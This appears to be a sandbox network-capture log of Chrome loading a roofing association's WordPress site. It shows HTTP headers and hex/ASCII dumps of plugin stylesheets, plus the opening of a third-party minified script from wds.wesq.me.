2024-04-23 14:53:40 UTC	537	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 1163 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:38 GMT ETag: "6828a1-48b-6138f927073e9" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:40 UTC	1163	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 70 72 65 73 73 2d 74 61 62 6c 65 3e 2e 72 65 6e 64 65 72 2d 77 72 61 70 70 65 72 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 36 34 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 73 63 72 6f 6c 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 70 72 65 73 73 2d 74 61 62 6c 65 3e 2e 72 65 6e 64 65 72 2d 77 72 61 70 70 65 72 3e 2e 74 61 62 6c 65 70 72 65 73 73 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 70 72 65 73 73 2d 74 61 62 6c 65 3e 64 69 76 3e 64 69 76 3e 2e 72 65 6e 64 65 72 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d Data Ascii: .wp-block-tablepress-table>.render-wrapper{max-height:400px;min-height:64px;overflow:scroll}.wp-block-tablepress-table>.render-wrapper>.tablepress{margin:0 auto;pointer-events:none}.wp-block-tablepress-table>div>div>.render-wrapper{display:none}.wp-block-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49729	198.143.165.219	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	530	OUT	GET /js/pub.min.js HTTP/1.1 Host: wds.wesq.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	448	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: application/javascript Content-Length: 2753 Last-Modified: Fri, 11 Aug 2023 10:37:03 GMT Connection: close Vary: Accept-Encoding ETag: "64d60f4f-ac1" Expires: Wed, 24 Apr 2024 14:53:40 GMT Cache-Control: max-age=86400 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Alt-Svc: h3=":443"; ma=604800; persist=1 Accept-Ranges: bytes
2024-04-23 14:53:40 UTC	2753	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 61 2c 64 2c 65 2c 69 2c 72 29 7b 74 3d 28 74 3d 64 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 29 26 26 74 2e 73 72 63 7c 7c 64 2e 55 52 4c 3b 76 61 72 20 74 2c 6f 3d 28 74 3d 2f 5c 2f 5c 2f 28 5b 5e 2f 3f 5d 2b 29 2f 2e 65 78 65 63 28 74 29 29 3f 74 5b 31 5d 3a 22 22 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 76 61 72 20 74 3d 61 2e 70 6d 5f 64 65 6e 79 41 63 74 69 6f 6e 3b 74 26 26 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 76 61 72 20 74 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 74 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3b 34 3d 3d 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 28 74 3d 6e 2e 65 6e 64 70 6f 69 6e 74 2c Data Ascii: !function(a,d,e,i,r){t=(t=d.currentScript)&&t.src\|\|d.URL;var t,o=(t=/\/\/([^/?]+)/.exec(t))?t[1]:"";function s(){var t=a.pm_denyAction;t&&t()}function n(n){var t=new XMLHttpRequest;t.onreadystatechange=function(){var t,e;4==this.readyState&&(t=n.endpoint,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49731	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	617	OUT	GET /wp-content/plugins/essential-grid/public/assets/css/settings.css?ver=2.3.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 33230 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "6021e8-81ce-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	7653	IN	Data Raw: 2e 65 73 67 2d 73 74 61 72 72 69 6e 67 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 35 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 65 73 67 2d 73 74 61 72 72 69 6e 67 20 2e 73 74 61 72 2d 72 61 74 69 6e 67 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 7d 2e 65 73 67 2d 73 74 61 72 72 69 6e 67 20 2e 73 74 61 72 2d 72 61 74 69 6e 67 7b 63 6f 6c 6f 72 3a 23 66 66 63 33 32 31 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 73 67 2d 73 74 61 72 72 69 6e 67 20 2e 73 74 61 72 2d 72 61 74 69 6e 67 2c 2e 65 73 67 2d 73 74 61 72 72 69 6e 67 2d 70 61 67 65 20 2e 73 74 61 72 2d 72 61 74 69 6e 67 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 68 65 69 67 68 74 3a 31 65 Data Ascii: .esg-starring{line-height:25px;display:inline-block}.esg-starring .star-rating{float:none}.esg-starring .star-rating{color:#ffc321!important}.esg-starring .star-rating,.esg-starring-page .star-rating{float:right;overflow:hidden;position:relative;height:1e
2024-04-23 14:53:41 UTC	8192	IN	Data Raw: 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 65 67 2d 6c 65 66 74 72 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 2e 64 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 65 31 65 31 65 7d 2e 65 67 2d 6c 65 66 74 72 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 61 67 69 6e 61 74 69 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 30 7d 2e 65 67 2d 6c 65 66 74 72 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 73 67 2d 66 69 6c 74 65 72 73 7b 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d Data Ascii: ;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;position:relative}.eg-leftright-container.dark{background:#1e1e1e}.eg-leftright-container .pagination{position:absolute;bottom:0}.eg-leftright-container .esg-filters{padding:30px;box-sizing:border-
2024-04-23 14:53:41 UTC	8192	IN	Data Raw: 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 62 6c 2c 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 74 6c 7b 6c 65 66 74 3a 30 7d 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 62 72 2c 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 74 72 7b 72 69 67 68 74 3a 30 7d 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 62 2c 2e 65 67 2d 61 63 70 2d 69 6e 6e 65 72 2e 65 67 2d 61 63 70 2d 74 7b 6c 65 66 74 3a 35 30 25 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d Data Ascii: .eg-acp-inner.eg-acp-bl,.eg-acp-inner.eg-acp-tl{left:0}.eg-acp-inner.eg-acp-br,.eg-acp-inner.eg-acp-tr{right:0}.eg-acp-inner.eg-acp-b,.eg-acp-inner.eg-acp-t{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);-moz-transform:translateX(-
2024-04-23 14:53:41 UTC	8192	IN	Data Raw: 65 73 67 2d 68 6f 76 65 72 65 64 20 2e 65 73 67 2d 74 72 61 6e 73 69 74 69 6f 6e 5b 64 61 74 61 2d 74 72 61 6e 73 69 74 69 6f 6e 3d 65 73 67 2d 63 69 72 63 6c 65 7a 6f 6f 6d 6f 75 74 5d 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 30 2c 30 29 7d 2e 65 73 67 2d 74 72 61 6e 73 69 74 69 6f 6e 5b 64 61 74 61 2d 74 72 61 6e 73 69 74 69 6f 6e 5e 3d 65 73 67 2d 6c 69 6e 65 5d 3a 62 65 66 6f 72 65 2c 2e 65 73 67 2d 74 72 61 6e 73 69 74 69 6f 6e 5b 64 61 74 61 2d 74 72 61 6e 73 69 74 69 6f 6e 5e 3d 65 73 67 2d 73 70 69 72 61 6c 5d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 Data Ascii: esg-hovered .esg-transition[data-transition=esg-circlezoomout]:before{transform:translate(-50%,-50%) scale(0,0)}.esg-transition[data-transition^=esg-line]:before,.esg-transition[data-transition^=esg-spiral]:before{content:"";position:absolute;width:100%;h
2024-04-23 14:53:41 UTC	1001	IN	Data Raw: 2e 61 64 65 6e 3a 62 65 66 6f 72 65 2c 2e 62 72 6f 6f 6b 6c 79 6e 3a 62 65 66 6f 72 65 2c 2e 63 6c 61 72 65 6e 64 6f 6e 3a 62 65 66 6f 72 65 2c 2e 65 61 72 6c 79 62 69 72 64 3a 62 65 66 6f 72 65 2c 2e 67 69 6e 67 68 61 6d 3a 62 65 66 6f 72 65 2c 2e 68 75 64 73 6f 6e 3a 62 65 66 6f 72 65 2c 2e 69 6e 6b 77 65 6c 6c 3a 62 65 66 6f 72 65 2c 2e 6c 61 72 6b 3a 62 65 66 6f 72 65 2c 2e 6c 6f 66 69 3a 62 65 66 6f 72 65 2c 2e 6d 61 79 66 61 69 72 3a 62 65 66 6f 72 65 2c 2e 6d 6f 6f 6e 3a 62 65 66 6f 72 65 2c 2e 6e 61 73 68 76 69 6c 6c 65 3a 62 65 66 6f 72 65 2c 2e 70 65 72 70 65 74 75 61 3a 62 65 66 6f 72 65 2c 2e 72 65 79 65 73 3a 62 65 66 6f 72 65 2c 2e 72 69 73 65 3a 62 65 66 6f 72 65 2c 2e 73 6c 75 6d 62 65 72 3a 62 65 66 6f 72 65 2c 2e 74 6f 61 73 74 65 72 3a Data Ascii: .aden:before,.brooklyn:before,.clarendon:before,.earlybird:before,.gingham:before,.hudson:before,.inkwell:before,.lark:before,.lofi:before,.mayfair:before,.moon:before,.nashville:before,.perpetua:before,.reyes:before,.rise:before,.slumber:before,.toaster:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49732	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	631	OUT	GET /wp-content/plugins/essential-grid/public/assets/font/fontello/css/fontello.css?ver=2.3.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 12663 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "662384-3177-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	7653	IN	Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 20 46 6f 6e 74 65 6c 6c 6f 20 49 63 6f 6e 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 65 67 2d 66 6f 6e 74 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 65 67 66 6f 6e 74 2e 65 6f 74 3f 38 35 36 31 30 31 31 37 27 29 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 65 67 66 6f 6e 74 2e 65 6f 74 3f 38 35 36 31 30 31 31 37 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e Data Ascii: /*************************** Fontello Icons**************************/@font-face { font-family: 'eg-font'; src: url('../fonts/egfont.eot?85610117'); src: url('../fonts/egfont.eot?85610117#iefix') format('embedded-opentype'), url('../fon
2024-04-23 14:53:41 UTC	5010	IN	Data Raw: 2d 69 63 6f 6e 2d 74 77 69 74 74 65 72 2d 73 71 75 61 72 65 64 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 61 32 27 3b 20 7d 20 2f 2a 20 27 ee a2 a2 27 20 2a 2f 0a 2e 65 67 2d 69 63 6f 6e 2d 74 77 69 74 74 65 72 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 61 31 27 3b 20 7d 20 2f 2a 20 27 ee a2 a1 27 20 2a 2f 0a 2e 65 67 2d 69 63 6f 6e 2d 76 69 6d 65 6f 2d 73 71 75 61 72 65 64 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 39 64 27 3b 20 7d 20 2f 2a 20 27 ee a2 9d 27 20 2a 2f 0a 2e 65 67 2d 69 63 6f 6e 2d 79 6f 75 74 75 62 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 39 66 27 3b 20 7d 20 2f 2a 20 27 ee a2 9f 27 20 2a 2f 0a 2e 65 67 2d 69 63 6f 6e 2d 79 6f 75 Data Ascii: -icon-twitter-squared:before { content: '\e8a2'; } /* '' /.eg-icon-twitter:before { content: '\e8a1'; } / '' /.eg-icon-vimeo-squared:before { content: '\e89d'; } / '' /.eg-icon-youtube:before { content: '\e89f'; } / '' */.eg-icon-you

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49734	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	615	OUT	GET /wp-content/plugins/floating-top-link/css/floating-top-link.css?ver=1.0.5 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	537	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 1695 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "66246d-69f-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	1695	IN	Data Raw: 2e 46 6c 6f 61 74 69 6e 67 54 6f 70 4c 69 6e 6b 20 61 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 35 36 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 35 36 70 78 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 35 36 70 78 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 32 34 32 34 32 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 72 69 67 68 74 3a 20 33 30 Data Ascii: .FloatingTopLink a { display: block; width: 56px; height: 56px; line-height: 56px; font-size: 24px; text-align: center; -webkit-border-radius: 50px; border-radius: 50px; background: #424242; position: fixed; bottom: 20px; right: 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49735	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	612	OUT	GET /wp-content/plugins/jquery-collapse-o-matic/css/core_style.css?ver=1.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	536	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 364 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:36 GMT ETag: "620021-16c-6138f8b31aeca" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	364	IN	Data Raw: 2e 63 6f 6c 6c 61 70 73 65 6f 6d 61 74 69 63 2c 20 2e 63 6f 6c 6f 6d 61 74 5f 74 72 69 67 67 65 72 2c 20 2e 63 6f 6c 6c 61 70 73 65 61 6c 6c 2c 20 2e 65 78 70 61 6e 64 61 6c 6c 2c 20 2e 73 65 74 61 6c 6c 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 63 6f 6c 6f 6d 61 74 2d 73 77 61 70 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 2e 6d 61 70 74 61 73 74 69 63 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 6c 65 66 74 3a 20 2d 31 30 30 30 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 39 39 70 78 3b 0d Data Ascii: .collapseomatic, .colomat_trigger, .collapseall, .expandall, .setall {cursor: pointer;}.colomat-swap {display: none;}.maptastic {position: absolute !important;left: -10000px !important;display:block !important;max-width: 9999px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49736	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	613	OUT	GET /wp-content/plugins/jquery-collapse-o-matic/css/light_style.css?ver=1.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	536	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 862 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:36 GMT ETag: "620015-35e-6138f8b31aeca" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	862	IN	Data Raw: 2e 63 6f 6c 6c 61 70 73 65 6f 6d 61 74 69 63 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 69 6d 61 67 65 73 2f 61 72 72 6f 77 2d 64 6f 77 6e 2e 70 6e 67 27 29 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 31 30 70 78 20 31 36 70 78 3b 0d 0a 7d 0d 0a 2e 63 6f 6c 6c 61 70 73 65 6f 6d 61 74 69 63 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 3b 0d 0a 7d 0d 0a 2e 61 72 72 6f 77 72 69 67 68 74 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 72 69 67 68 74 20 74 6f 70 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 31 36 70 78 20 31 30 70 78 20 30 3b 0d 0a 7d 0d 0a Data Ascii: .collapseomatic {background-image: url('images/arrow-down.png');background-repeat: no-repeat;padding: 0 0 10px 16px;}.collapseomatic:focus { outline: 0;}.arrowright {background-position: right top;padding: 0 16px 10px 0;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49737	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	607	OUT	GET /wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 58117 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b8a-e305-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
